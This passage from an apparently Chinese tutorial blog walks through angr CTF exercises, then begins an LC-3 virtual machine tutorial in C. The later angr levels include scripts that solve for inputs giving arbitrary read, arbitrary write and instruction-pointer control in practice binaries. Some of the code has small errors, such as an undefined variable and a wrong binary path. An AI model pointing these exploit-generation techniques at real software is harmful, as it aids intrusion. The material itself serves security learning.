constrained_parameter_size_bytes = 16 # password的长度(字节)
constrained_parameter_bitvector = solution_state.memory.load(constrained_parameter_addr, constrained_parameter_size_bytes) # 从内存中加载password

constrained_parameter_desired_value = 'MRXJKZYRKMKENFZR' # reference string

constrained_expression = constrained_parameter_bitvector == constrained_parameter_desired_value # 约束表达式

solution_state.add_constraints(constrained_expression) # 添加约束

solution = long_to_bytes(solution_state.se.eval(password))
print(solution.decode())
else:
raise Exception('Could not find the sokution')

if __name__ == '__main__':
main()

小结:

solution_state.memory.load(内存地址,内存大小) -> 加载内存

solution_state.add_constraints(约束条件) -> 添加约束条件

09_angr_hooks

IDA:

main

分别输入两次加密比较;

这题是要求注入,模拟equals函数的功能:

equals

注入地址当然就是调用这个函数的地址;angr里的注入类似于CE,开辟一块新区块,然后在这里写入注入内容,最后跳回注入地址的后一地址;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import sys
import angr
import claripy


def main():
binary_path = './09_angr_hooks'
project = angr.Project(binary_path)

initial_state = project.factory.entry_state()

# 绕过函数的地址
check_equals_caller_addr = 0x080486A9
# 通过 hook 跳过目标函数的长度
instruction_to_skip_length = 0x080486BB - 0x080486A9

# 创建一个 hook 函数
# 参数为绕过函数的地址,绕过函数长度
@project.hook(check_equals_caller_addr, length = instruction_to_skip_length)
def skip_check_equals(state):
user_input_buffer_addr = 0x0804A054 # 保存输入变量地址
user_input_buffer_length = 16 # 第一个 scanf 的输入长度,此处为字节大小
# 将输入载入内存
user_input_string = state.memory.load(
user_input_buffer_addr,
user_input_buffer_length
)
# 目的字符串
check_against_string = 'MRXJKZYRKMKENFZB'
# 创建判断条件 -> 字符串的比较
state.regs.eax = claripy.If(
user_input_string == check_against_string,
claripy.BVV(1, 32), # 程序的返回值是给寄存器 eax 保存
claripy.BVV(0, 32) # eax 为 32 bit 的寄存器,所以大小设置为 32
) # claripy.BVV(返回数据,返回 bit 大小)



def is_successful(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return b'Good Job.' in stdout_output

def should_abort(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return b'Try again.' in stdout_output
# 开始模拟
simulation = project.factory.simgr(initial_state)
simulation.explore(find=is_successful, avoid=should_abort)

if simulation.found:
solution_state = simulation.found[0]

solution = solution_state.posix.dumps(sys.stdin.fileno())

print(solution.decode())
else:
raise Exception('Could not find the solution')


if __name__ == '__main__':
main()

小结:

Hook回调函数格式:

@project.hook(Hook地址,执行完Hook函数后指令往后跳转n字节)
def skip_check_equals_(state):

pass

claripy.If(条件,条件为True时的返回值,条件为False时的返回值) -> 创建条件判断

claripy.BVV(值,值大小) -> 创建一个数值

10_angr_simprocedures

IDA:

main

相对于上一道题更简单,只用输入一次;

但equals函数却混淆为了多个分支,和02一样,这样就没办法在一个地址注入;

所以可以用Angr 的Hook Symbol 来实现对check_equals() 函数的注入;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import angr
import sys
import claripy


def main():
binary_path = './09_angr_hooks'
project = angr.Project(binary_path)
initial_state = project.factory.entry_state()

# 创建一个类
class mySimPro(angr.SimProcedure):
def run(self, user_input_addr, user_input_length):
# angr 输入的符号向量
angr_bvs = self.state.memory.load(
user_input_addr,
user_input_length
)
# 目标字符串
desired = 'MRXJKZYRKMKENFZB'
return claripy.If(
desired == angr_bvs, # 条件判断
claripy.BVV(1,32), # 返回值设置
claripy.BVV(0,32)
)

# hook 的函数名
check_symbol = 'check_equals_MRXJKZYRKMKENFZB'
# 创建 hook
project.hook_symbol(check_symbol,mySimPro()) # 创建一个类来继承 angr.SimProcedure
simulation = project.factory.simgr(initial_state)

def is_successful(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return b'Good Job.' in stdout_output

def should_abort(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return b'Try again.' in stdout_output

simulation.explore(find=is_successful, avoid=should_abort)

if simulation.found:
solution_state = simulation.found[0]

solution = solution_state.posix.dumps(sys.stdin.fileno())

print(solution.decode())
else:
raise Exception('Could not find the solution')


if __name__ == '__main__':
main()

小结:

Hook 回调函数格式:

class ReplacementCheckEquals(angr.SimProcedure):

def run(self, Hook的函数参数列表):

​ ….

​ return 函数返回值 # 如果是void函数可以省略

project.hook_symbol(要Hook的函数名,SimProcedure类实例)

11_angr_sim_scanf

IDA:

main

这道题是注入系统函数scanf改变符号;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import angr
import sys
import claripy

def main(argv):
path_to_binary = argv[1]
project = angr.Project(path_to_binary)

initial_state = project.factory.entry_state()

class ReplacementScanf(angr.SimProcedure):

def run(self, format_string, scanf0_address, scanf1_address ):
scanf0 = claripy.BVS('scanf0', 4 * 8)
scanf1 = claripy.BVS('scanf1', 4 * 8)

self.state.memory.store(scanf0_address, scanf0, endness=project.arch.memory_endness)
self.state.memory.store(scanf1_address, scanf1, endness=project.arch.memory_endness)

self.state.globals['solution0'] = scanf0
self.state.globals['solution1'] = scanf1

scanf_symbol = '__isoc99_scanf'
project.hook_symbol(scanf_symbol, ReplacementScanf())

simulation = project.factory.simgr(initial_state)

def is_successful(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return 'Good Job' in str(stdout_output)

def should_abort(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return 'Try again' in str(stdout_output)

simulation.explore(find=is_successful, avoid=should_abort)

if simulation.found:
solution_state = simulation.found[0]
stored_solutions0 = solution_state.globals['solution0']
stored_solutions1 = solution_state.globals['solution1']
solution0 = solution_state.se.eval(stored_solutions0)
solution1 = solution_state.se.eval(stored_solutions1)

print(solution0,solution1)

else:
raise Exception('Could not find the solution')


if __name__ == '__main__':
main()

12_angr_veritesting

这个示例和01 题是一样的,唯独不同的一点是这个循环比之前的要大,导致直接用01 题的解题方法不能直接计算出结果,因为循环过大导致路径爆炸,所以在执行的时候会消耗很多资源.

project.factory.simgr() 函数提供veritesting 参数来指定是否要自动合并路径,避免路径爆炸的问题.具体细节参考论文:https://users.ece.cmu.edu/~dbrumley/pdf/Avgerinos%20et%20al._2014_Enhancing%20Symbolic%20Execution%20with%20Veritesting.pdf

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import sys
import angr

def main():
binary_path = './/12_angr_veritesting'
project = angr.Project(binary_path)

initial_state = project.factory.entry_state()
simulation = project.factory.simgr(initial_state, veritesting=True) # 设置自动合并路径

def is_successful(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return b'Good Job.' in stdout_output

def should_abort(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return b'Try again.' in stdout_output

simulation.explore(find=is_successful, avoid=should_abort)

if simulation.found:
solution_state = simulation.found[0]

solution = solution_state.posix.dumps(sys.stdin.fileno())
print(solution)
else:
raise Exception('Could not find the solution')

if __name__ == '__main__':
main()

小结:

project.factory.simgr(初始化状态,veritesting = True) -> veritesting 默认为False

13_angr_static_binary

与01一样,唯一不同的这个程序是静态链接编译,程序中包含libc的函数实现;在CTF中,这些函数会隐藏一些出题人的坑,或者这些函数不适配当前的系统;所以需要注入这些libc函数;

Angr库里自带一部分打包好的libc函数,直接导入即可;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import angr
import sys


project = angr.Project(sys.argv[1])
initial_state = project.factory.entry_state()
simulation = project.factory.simgr(initial_state,veritesting = True)

project.hook(0x804ed40, angr.SIM_PROCEDURES['libc']['printf']())
project.hook(0x804ed80, angr.SIM_PROCEDURES['libc']['scanf']())
project.hook(0x804f350, angr.SIM_PROCEDURES['libc']['puts']())
project.hook(0x8048d10, angr.SIM_PROCEDURES['glibc']['__libc_start_main']())

def is_successful(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return 'Good Job.' in str(stdout_output) # :boolean

def should_abort(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return 'Try again.' in str(stdout_output) # :boolean

simulation.explore(find = is_successful,avoid = should_abort)

if simulation.found :
solution_state = simulation.found[0]
print(solution_state.posix.dumps(sys.stdin.fileno()))

小结:

angr.SIM_PROCEDURES[ 系统库名 ] [ 系统函数名 ] () -> 获取Angr 内部实现的系统函数

14_angr_shared_library

IDA:

main

类似01,但validate函数是一个动态链接库的函数;

对动态链接库中的_validate 函数进行符号执行;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def main(argv):
path_to_binary = sys.argv[1] # 注意是要load so 库而不是执行程序

base = 0x400000 # base 基址是随意定的,可以随意修改
project = angr.Project(path_to_binary, load_options={
'main_opts' : {
'custom_base_addr' : base
}
})

buffer_pointer = claripy.BVV(0x3000000, 32) # 创建一个buffer 指针值
validate_function_address = base + 0x6D7
initial_state = project.factory.call_state(validate_function_address, buffer_pointer,claripy.BVV(8, 32)) # 调用validate_function,因为函数声明validata_function(buffer_point,buffer_length) ,所以构造出调用validata_function(0x3000000,0x8) .

password = claripy.BVS('password', 8 * 8) # 创建一个求解对象,大小为8 字节
initial_state.memory.store(buffer_pointer, password) # 保存到0x30000000

simulation = project.factory.simgr(initial_state)

simulation.explore(find = base + 0x783) # 执行到validate 函数的RETN 指令

if simulation.found:
solution_state = simulation.found[0]

solution_state.add_constraints(solution_state.regs.eax != 0) # 记得,要求validate 函数的返回值为1 的时候就是有解的,那么就需要在求解的时候添加上这么一个求解约束条件EAX 不能为False .
solution = solution_state.se.eval(password)
print(solution)

15_angr_arbitrary_read

IDA:

main

控制输入;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
def main(argv):
path_to_binary = argv[1]
project = angr.Project(path_to_binary)

initial_state = project.factory.entry_state()

class ReplacementScanf(angr.SimProcedure): # 实现Scanf Hook 函数

def run(self, format_string, check_key_address,input_buffer_address):
scanf0 = claripy.BVS('scanf0', 4 * 8) # check_key
scanf1 = claripy.BVS('scanf1', 20 * 8) # input_buffer

for char in scanf1.chop(bits=8):
self.state.add_constraints(char >= '0', char <= 'z') # 对input_buffer 的输入约束

self.state.memory.store(check_key_address, scanf0, endness=project.arch.memory_endness)
self.state.memory.store(input_buffer_address, scanf1,endness=project.arch.memory_endness) # 保存求解变量到指定的内存中

self.state.globals['solution0'] = scanf0 # 保存这两个变量到state 中,后续求解需要用到
self.state.globals['solution1'] = scanf1

scanf_symbol = '__isoc99_scanf'
project.hook_symbol(scanf_symbol, ReplacementScanf()) # Hook scanf 函数

def check_puts(state):
puts_parameter = state.memory.load(state.regs.esp + 4, 4, endness=project.arch.memory_endness) # 获取puts() 函数的参数

if state.se.symbolic(puts_parameter): # 检查这个参数是否为符号化对象
good_job_string_address = 0x4D525854B

copied_state = state.copy() # 复制执行状态上下文进行约束求解,不影响原理的执行上下文

copied_state.add_constraints(puts_parameter == good_job_string_address) # puts 的参数地址是否可以被指定为0x4D525854B ,如果可以的话,那就证明这个值是可控的

if copied_state.satisfiable(): # 判断添加了上面这个约束是否有解
state.add_constraints(puts_parameter == good_job_string_address) # 如果有解的话就保存到执行的那个状态对象
return True
else:
return False
else:
return False

simulation = project.factory.simgr(initial_state)

def is_successful(state):
puts_address = 0x8048370 # 当程序执行到puts() 函数时,就认为路径探索到了这里,然后再去通过check_puts() 判断这里是否存在漏洞,告诉Angr这是不是需要找的那条执行路径

if state.addr == puts_address:
return check_puts(state)
else:
return False

simulation.explore(find=is_successful)

if simulation.found:
solution_state = simulation.found[0]

solution0 = solution_state.se.eval(solution_state.globals['solution0'])
solution1 = solution_state.se.eval(solution_state.globals['solution1'],cast_to=bytes) # 输出字符串序列化的内容

print(solution0,solution1)

小结:

state.copy() -> 复制状态上下文

state.satisfiable() -> 判断当前的所有约束是否有解

solution_state.se.eval(求解变量,cast_to=bytes) -> 序列化变量内容为字符串

16_angr_arbitrary_write

IDA:

main

控制写入内存;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
def main(argv):
path_to_binary = argv[1]
project = angr.Project(path_to_binary)
initial_state = project.factory.entry_state()

class ReplacementScanf(angr.SimProcedure):

def run(self, format_string, check_key ,input_buffer):
scanf0 = claripy.BVS('scanf0', 4 * 8)
scanf1 = claripy.BVS('scanf1', 20 * 8)

for char in scanf1.chop(bits=8):
self.state.add_constraints(char >= '0', char <= 'z')

self.state.memory.store(check_key, scanf0, endness=project.arch.memory_endness)
self.state.memory.store(input_buffer, scanf1, endness=project.arch.memory_endness)

self.state.globals['solution0'] = scanf0
self.state.globals['solution1'] = scanf1

scanf_symbol = '__isoc99_scanf'
project.hook_symbol(scanf_symbol, ReplacementScanf())

def check_strncpy(state):
strncpy_dest = state.memory.load(state.regs.esp + 4, 4, endness=project.arch.memory_endness) # 获取strncpy() 的参数,strncpy_dest ..
strncpy_src = state.memory.load(state.regs.esp + 8, 4, endness=project.arch.memory_endness)
strncpy_len = state.memory.load(state.regs.esp + 12, 4, endness=project.arch.memory_endness)
src_contents = state.memory.load(strncpy_src, strncpy_len) # 因为参数中只保存了地址,需要根据这个地址去获取内容

if state.se.symbolic(strncpy_dest) and state.se.symbolic(src_contents) : # 判断dest 和src 的内容是不是符号化对象
if state.satisfiable(extra_constraints=(src_contents[ -1 : -64 ] == 'KZYRKMKE' ,strncpy_dest == 0x4D52584C)): # 尝试求解,其中strncpy_dest == 0x4D52584C 的意思是判断dest 是否可控为password 的地址;src_contents[ -1 : -64 ] == 'KZYRKMKE' 是判断input_buffer 的内容是否可控为'KZYRKMKE' ,因为这块内存是倒序,所以需要通过[ -1 : -64 ] 倒转(contentes 的内容是比特,获取8 字节的大小为:8*8 = 64),然后判断该值是否为字符串'KZYRKMKE'
state.add_constraints(src_contents[ -1 : -64 ] == 'KZYRKMKE',strncpy_dest == 0x4D52584C)
return True
else:
return False
else:
return False

simulation = project.factory.simgr(initial_state)

def is_successful(state):
strncpy_address = 0x8048410

if state.addr == strncpy_address:
return check_strncpy(state)
else:
return False

simulation.explore(find=is_successful)

if simulation.found:
solution_state = simulation.found[0]
solution0 = solution_state.se.eval(solution_state.globals['solution0'])
solution1 = solution_state.se.eval(solution_state.globals['solution1'],cast_to=bytes)

print(solution0,solution1)

小结:

state.satisfiable(extra_constraints=(条件1,条件2)) -> 合并多个条件计算是否存在满足约束的解(注意两个或多个条件之间是And 合并判断,不是Or )

17_angr_arbitrary_jump

IDA:

main

这是一个栈溢出;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
def main(argv):
path_to_binary = argv[1]
project = angr.Project(path_to_binary)
initial_state = project.factory.entry_state()

simulation = project.factory.simgr(
initial_state,
save_unconstrained=True,
stashes={
'active' : [initial_state],
'unconstrained' : [],
'found' : [],
'not_needed' : []
}
)

class ReplacementScanf(angr.SimProcedure):

def run(self, format_string, input_buffer_address):
input_buffer = claripy.BVS('input_buffer', 64 * 8) # 设置一个较大的input_buffer

for char in input_buffer.chop(bits=8):
self.state.add_constraints(char >= '0', char <= 'z')

self.state.memory.store(input_buffer_address, input_buffer, endness=project.arch.memory_endness)

self.state.globals['solution'] = input_buffer

scanf_symbol = '__isoc99_scanf'
project.hook_symbol(scanf_symbol, ReplacementScanf()) # 对scanf() 做Hook

while (simulation.active or simulation.unconstrained) and (not simulation.found): #
for unconstrained_state in simulation.unconstrained:
def should_move(s):
return s is unconstrained_state

simulation.move('unconstrained', 'found', filter_func=should_move) # 保存

simulation.step() # 步进执行

if simulation.found:
solution_state = simulation.found[0]

solution_state.add_constraints(solution_state.regs.eip == 0x4D525849) # 判断EIP 地址是否可控

solution = solution_state.se.eval(solution_state.globals['solution'],cast_to = bytes) # 生成Payload
print(solution)

总结:

0002讲解的是基础操作;0307讲解的是符号化常见内容;08讲解的是求解内容约束;0908讲解如何注入来替换函数或者增加函数;1114讲解的都是进阶的内容;15~17讲解的都和控制有关,与pwn题相关;

真正吃透angr会花更多的时间,但真正强化二进制能力的并不是如何去使用angr,而是明白angr函数针对于汇编层的操作;

阅读全文
VM实验复现
Bin | VM

详细实验地址:https://justinmeiners.github.io/lc3-vm/index.html#1:12

本质上是在用C语言描述16位机器的操作过程,因此可以以此为一个架接运行一个16位程序,因此成为虚拟机(Virtual Machine);

前置要求:C语言(写出虚拟机的语言),位运算,汇编代码的运行模式(虚拟机的工作方式,不懂汇编代码的意思也没关系),丁点API知识(键盘传输和屏幕显示,以及内存收取等),LC-3指令集(模拟指令OP);

指令集地址:https://justinmeiners.github.io/lc3-vm/supplies/lc3-isa.pdf

思路:

1. 读取文件

既然要读取其他程序和文件,那需要构造一个内存池容纳16位的程序,总大小也就是二的十六次方;

代码1-1

1
2
/* 65536 locations */
uint16_t memory[UINT16_MAX]; //Memory Storage

文件读入主要代码1-2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if (argc < 2)
{
/* show usage string */
printf("usage: %s [image-file1] ...\n", argv[0]);
exit(2);
}

for (int j = 1; j < argc; ++j)
{
if (!read_image(argv[j]))
{
printf("failed to load image: %s\n", argv[j]);
exit(1);
}
}

补充说明:argc 和 argv 是 main 函数参数,第一个代表main参数个数,第二个代表为地址的参数;

作用:如果没有输入main函数的参数,第一个判断就会提示用法为: ./main [image-file1] ;如果输入[image-file1]这个参数,那么就会将其读入for循环中,用 read_image() 函数计算参数并判断,若返回值是0,就会说:装载映像失败;

这里显示出一个函数叫 read_image() ,下面说说它的作用:

代码1-3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void read_image_file(FILE* file)
{
/* the origin tells us where in memory to place the image */
uint16_t origin;
fread(&origin, sizeof(origin), 1, file);
origin = swap16(origin);

/* we know the maximum file size so we only need one fread */
uint16_t max_read = UINT16_MAX - origin;
uint16_t* p = memory + origin;
size_t read = fread(p, sizeof(uint16_t), max_read, file);

/* swap to little endian */
while (read-- > 0)
{
*p = swap16(*p);
++p;
}
}

int read_image(const char* image_path)
{
FILE* file = fopen(image_path, "rb");
if (!file) { return 0; };
read_image_file(file);
fclose(file);
return 1;
}

这段代码中有两个函数,最后一个就是1-2中提到的,他的作用就是判断输入的参数地址是否为正确文件地址;如果不是就返回1,进而让1-2的判断输出错误并中断程序;如果是就执行 read_image_file() 函数;

read_image_file() 函数的作用便是将读取的程序内存装入之前设定好的memory数组中;首先计算的起始地址:origin,使用fread() C原装函数,读取起始地址;之后计算最大可容纳地址,并用p指针标记,最后使用循环不断缩小范围;

至于为什么要使用swap16()函数呢?因为LC-3程序是大端序排列,一般电脑用的都是小端序,所以要交换高低8位;

代码1-4

1
2
3
4
uint16_t swap16(uint16_t x)
{
return (x << 8) | (x >> 8);
}

2. 内存访问

某些特殊寄存器无法从普通寄存器表中访问。相反,在内存中为它们保留一个特殊地址。要读取和写入这些寄存器,只需读取和写入它们的内存位置即可。这些称为内存映射寄存器。它们通常用于与特殊硬件设备进行交互(如键盘);

LC-3 具有两个需要实现的内存映射寄存器。它们是键盘状态寄存器 () 和键盘数据寄存器 ()。指示是否已按下某个键,并标识按下了哪个键;

代码2-1

1
2
3
4
5
enum	//Memory Mapped Registers
{
MR_KBSR = 0xFE00, /* keyboard status */
MR_KBDR = 0xFE02 /* keyboard data */
};

上面是模拟LC-3 的两个内存寄存器;第一个为状态管理,第二个是数据管理;

代码2-2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
uint16_t check_key()
{
return WaitForSingleObject(hStdin, 1000) == WAIT_OBJECT_0 && _kbhit();
}

void mem_write(uint16_t address, uint16_t val)
{
memory[address] = val;
}

uint16_t mem_read(uint16_t address)
{
if (address == MR_KBSR)
{
if (check_key())
{
memory[MR_KBSR] = (1 << 15);
memory[MR_KBDR] = getchar();
}
else
{
memory[MR_KBSR] = 0;
}
}
return memory[address];
}

这里给出三个函数;第一个是设置windows终端输入的代码(调用API);第二个是写入内存的代码;第三个是读入内存的代码;

3. 模拟寄存器

既然要模拟汇编代码的运行模式,那就少不掉寄存器;在汇编代码中,寄存器就相当于C的变量,保存数据用;

LC-3中,一共只有10个寄存器,8个通用,1个指向即将执行的代码的寄存器(PC),1个条件控制寄存器;

代码3-1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
enum	//Registers
{
R_R0 = 0,
R_R1,
R_R2,
R_R3,
R_R4,
R_R5,
R_R6,
R_R7,
R_PC, /* program counter */
R_COND,
R_COUNT
};

这里多设置了一个,R_COUNT不是寄存器,只是计数用的,因为是从0开始数的;

之后用这个来控制寄存器:

代码3-2

1
uint16_t reg[R_COUNT];	//Register Storage

而控制寄存器需要特别加一个枚举:

代码3-3

1
2
3
4
5
6
enum	//condition flags
{
FL_POS = 1 << 0, /* P */
FL_ZRO = 1 << 1, /* Z */
FL_NEG = 1 << 2, /* N */
};

结果为正数则是P,为0则是Z,为负数则是N;它们的计算结果分别是:1,2,4;用到它们的时候,这些数字就代表它们的意义;而实际上是用移位来模拟这些条件位在寄存器中的形式;

4. 模拟指令

这里就是LC-3需要用到的指令,于是模拟出所有会用到的:

代码4-1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
enum
{
OP_BR = 0, /* branch */
OP_ADD, /* add */
OP_LD, /* load */
OP_ST, /* store */
OP_JSR, /* jump register */
OP_AND, /* bitwise and */
OP_LDR, /* load register */
OP_STR, /* store register */
OP_RTI, /* unused */
OP_NOT, /* bitwise not */
OP_LDI, /* load indirect */
OP_STI, /* store indirect */
OP_JMP, /* jump */
OP_RES, /* reserved (unused) */
OP_LEA, /* load effective address */
OP_TRAP /* execute trap */
};

它们实现机器所需要的运算;

而LC-3的运算中,因为是16位,所以这些指令会放在最高的4位判断,剩下的位数就会放参数一类的东西,每个运算的参数需求位都不同,详细请看LC-3指令集;指令集中会要求使用的参数需要扩展为16位运算;所以需要接下来的函数:

代码4-2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
uint16_t sign_extend(uint16_t x, int bit_count)
{
if ((x >> (bit_count - 1)) & 1) {
x |= (0xFFFF << bit_count);
}
return x;
}


void update_flags(uint16_t r)
{
if (reg[r] == 0)
{
reg[R_COND] = FL_ZRO;
}
else if (reg[r] >> 15) /* a 1 in the left-most bit indicates negative */
{
reg[R_COND] = FL_NEG;
}
else
{
reg[R_COND] = FL_POS;
}
}

第一个函数的作用便是 带符号扩展 位数;第二个函数的作用便是每次运算结束后,调整条件控制寄存器中的三个值;

5. 模拟执行过程

这是逆向题中的核心思想,便是C语言如何执行虚拟机模式的,如何找到flag的指令生成顺序;

以下是我们需要编写的过程:

  1. 从寄存器地址处的内存中加载一条指令。PC
  2. 递增寄存器。PC
  3. 查看操作码以确定它应该执行哪种类型的指令。
  4. 使用指令中的参数执行指令。
  5. 返回步骤 1。

这样一来,就能模拟出虚拟机的内核了;

代码5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
int main(int argc, const char* argv[])
{
{代码1-2}
{代码7-3}

/* since exactly one condition flag should be set at any given time, set the Z flag */
reg[R_COND] = FL_ZRO;

/* set the PC to starting position */
/* 0x3000 is the default */
enum { PC_START = 0x3000 };
reg[R_PC] = PC_START;

int running = 1;
while (running)
{
/* FETCH */
uint16_t instr = mem_read(reg[R_PC]++);
uint16_t op = instr >> 12;

switch (op)
{
case OP_ADD:
{代码6-1}
break;
case OP_AND:
{代码6-2}
break;
case OP_NOT:
{代码6-3}
break;
case OP_BR:
{代码6-4}
break;
case OP_JMP:
{代码6-5}
break;
case OP_JSR:
{代码6-6}
break;
case OP_LD:
{代码6-7}
break;
case OP_LDI:
{代码6-8}
break;
case OP_LDR:
{代码6-9}
break;
case OP_LEA:
{代码6-10}
break;
case OP_ST:
{代码6-11}
break;
case OP_STI:
{代码6-12}
break;
case OP_STR:
{代码6-13}
break;
case OP_TRAP:
{代码6-15}
break;
case OP_RES:
case OP_RTI:
default:
abort();
break;
}
}
{代码7-4}
}

初始化条件控制寄存器后,从0x3000的地址出发,并进入运行状态( while(1) ),instr便是每次会执行的PC所指的指令内容;OP即为操作指令,因为总共16位的寄存器最高4位都是操作指令,所以只需要将instr右移12位就能得到OP;

之后根据switch选择OP,执行相应的指令;每执行完一条便循环回去,于是PC+1,开始执行下一条;

6. C语言模拟指令清单

核心内容,需要结合指令集理解怎么实现的;

代码6-1:和的实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{
/* destination register (DR) */
uint16_t r0 = (instr >> 9) & 0x7;
/* first operand (SR1) */
uint16_t r1 = (instr >> 6) & 0x7;
/* whether we are in immediate mode */
uint16_t imm_flag = (instr >> 5) & 0x1;

if (imm_flag)
{
uint16_t imm5 = sign_extend(instr & 0x1F, 5);
reg[r0] = reg[r1] + imm5;
}
else
{
uint16_t r2 = instr & 0x7;
reg[r0] = reg[r1] + reg[r2];
}

update_flags(r0);
}

代码6-2:按位和

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
uint16_t r0 = (instr >> 9) & 0x7;
uint16_t r1 = (instr >> 6) & 0x7;
uint16_t imm_flag = (instr >> 5) & 0x1;

if (imm_flag)
{
uint16_t imm5 = sign_extend(instr & 0x1F, 5);
reg[r0] = reg[r1] & imm5;
}
else
{
uint16_t r2 = instr & 0x7;
reg[r0] = reg[r1] & reg[r2];
}
update_flags(r0);
}

代码6-3:按位非

1
2
3
4
5
6
7
{
uint16_t r0 = (instr >> 9) & 0x7;
uint16_t r1 = (instr >> 6) & 0x7;

reg[r0] = ~reg[r1];
update_flags(r0);
}

代码6-4:分支

1
2
3
4
5
6
7
8
{
uint16_t pc_offset = sign_extend(instr & 0x1FF, 9);
uint16_t cond_flag = (instr >> 9) & 0x7;
if (cond_flag & reg[R_COND])
{
reg[R_PC] += pc_offset;
}
}

代码6-5:跳转

1
2
3
4
5
{
/* Also handles RET */
uint16_t r1 = (instr >> 6) & 0x7;
reg[R_PC] = reg[r1];
}

代码6-6:寄存器跳转

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
uint16_t long_flag = (instr >> 11) & 1;
reg[R_R7] = reg[R_PC];
if (long_flag)
{
uint16_t long_pc_offset = sign_extend(instr & 0x7FF, 11);
reg[R_PC] += long_pc_offset; /* JSR */
}
else
{
uint16_t r1 = (instr >> 6) & 0x7;
reg[R_PC] = reg[r1]; /* JSRR */
}
break;
}

代码6-7:加载

1
2
3
4
5
6
{
uint16_t r0 = (instr >> 9) & 0x7;
uint16_t pc_offset = sign_extend(instr & 0x1FF, 9);
reg[r0] = mem_read(reg[R_PC] + pc_offset);
update_flags(r0);
}

代码6-8:简介加载的实现

1
2
3
4
5
6
7
8
9
{
/* destination register (DR) */
uint16_t r0 = (instr >> 9) & 0x7;
/* PCoffset 9*/
uint16_t pc_offset = sign_extend(instr & 0x1FF, 9);
/* add pc_offset to the current PC, look at that memory location to get the final address */
reg[r0] = mem_read(mem_read(reg[R_PC] + pc_offset));
update_flags(r0);
}

代码6-9:加载寄存器

1
2
3
4
5
6
7
{
uint16_t r0 = (instr >> 9) & 0x7;
uint16_t r1 = (instr >> 6) & 0x7;
uint16_t offset = sign_extend(instr & 0x3F, 6);
reg[r0] = mem_read(reg[r1] + offset);
update_flags(r0);
}

代码6-10:加载有效地址

1
2
3
4
5
6
{
uint16_t r0 = (instr >> 9) & 0x7;
uint16_t pc_offset = sign_extend(instr & 0x1FF, 9);
reg[r0] = reg[R_PC] + pc_offset;
update_flags(r0);
}

代码6-11:存储

1
2
3
4
5
{
uint16_t r0 = (instr >> 9) & 0x7;
uint16_t pc_offset = sign_extend(instr & 0x1FF, 9);
mem_write(reg[R_PC] + pc_offset, reg[r0]);
}

代码6-12:间接存储

1
2
3
4
5
{
uint16_t r0 = (instr >> 9) & 0x7;
uint16_t pc_offset = sign_extend(instr & 0x1FF, 9);
mem_write(mem_read(reg[R_PC] + pc_offset), reg[r0]);
}

代码6-13:寄存器存储

1
2
3
4
5
6
{
uint16_t r0 = (instr >> 9) & 0x7;
uint16_t r1 = (instr >> 6) & 0x7;
uint16_t offset = sign_extend(instr & 0x3F, 6);
mem_write(reg[r1] + offset, reg[r0]);
}

LC-3 提供了一些预定义的例程,用于执行常见任务和与 I/O 设备交互。例如,有一些例程用于从键盘获取输入以及用于向控制台显示字符串。这些称为trap routines,您可以将其视为LC-3的操作系统或API。每个trap routines都分配有一个trap code来标识它(类似于操作码)。要执行一个,请使用所需routine的code调用该指令;

枚举所有trap代码6-14

1
2
3
4
5
6
7
8
9
enum
{
TRAP_GETC = 0x20, /* get character from keyboard, not echoed onto the terminal */
